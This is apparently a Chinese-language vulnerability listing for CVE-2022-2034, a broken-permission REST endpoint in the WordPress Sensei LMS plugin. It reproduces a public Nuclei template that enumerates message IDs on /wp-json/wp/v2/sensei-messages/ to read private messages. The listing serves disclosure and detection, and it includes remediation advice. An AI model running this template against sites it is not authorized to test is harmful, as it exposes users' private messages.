CVE-2022-2034: WordPress Sensei LMS <4.5.0 - Information Disclosure

日期: 2025-08-01 | 影响软件: WordPress Sensei LMS | POC: 已公开

漏洞描述

WordPress Sensei LMS plugin before 4.5.0 is susceptible to information disclosure. The plugin does not have proper permissions set in a REST endpoint, which can allow an attacker to access private messages.

PoC代码[已公开]

id: CVE-2022-2034

info:
  name: WordPress Sensei LMS <4.5.0 - Information Disclosure
  author: imhunterand
  severity: medium
  description: |
    WordPress Sensei LMS plugin before 4.5.0 is susceptible to information disclosure. The plugin does not have proper permissions set in a REST endpoint, which can allow an attacker to access private messages.
  remediation: |
    Upgrade WordPress Sensei LMS to version 4.5.0 or later to mitigate this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/aba3dd58-7a8e-4129-add5-4dd5972c0426
    - https://hackerone.com/reports/1590237
    - https://wordpress.org/plugins/sensei-lms/advanced/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-2034
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2022-2034
    cwe-id: CWE-639
    epss-score: 0.51368
    epss-percentile: 0.97811
    cpe: cpe:2.3:a:automattic:sensei_lms:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 100
    vendor: automattic
    product: sensei_lms
    framework: wordpress
  tags: cve,cve2022,wp,disclosure,wpscan,sensei-lms,fuzz,hackerone,wordpress,wp-plugin,automattic

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-json/wp/v2/sensei-messages/{{num}}"

    payloads:
      num: helpers/wordlists/numbers.txt
    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'sensei_message'
          - 'guid":{"rendered":'
        condition: and

      - type: word
        part: header
        words:
          - application/json

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100c105d89e3a73e5377e21b32502529935b7460a643185a7109880767dfb5c058a0220545b3c2ede09f22123a0df78be1e3cf71b593e96a54274db68f14661595b9dba:922c64590222798bb761d5b6d8e72950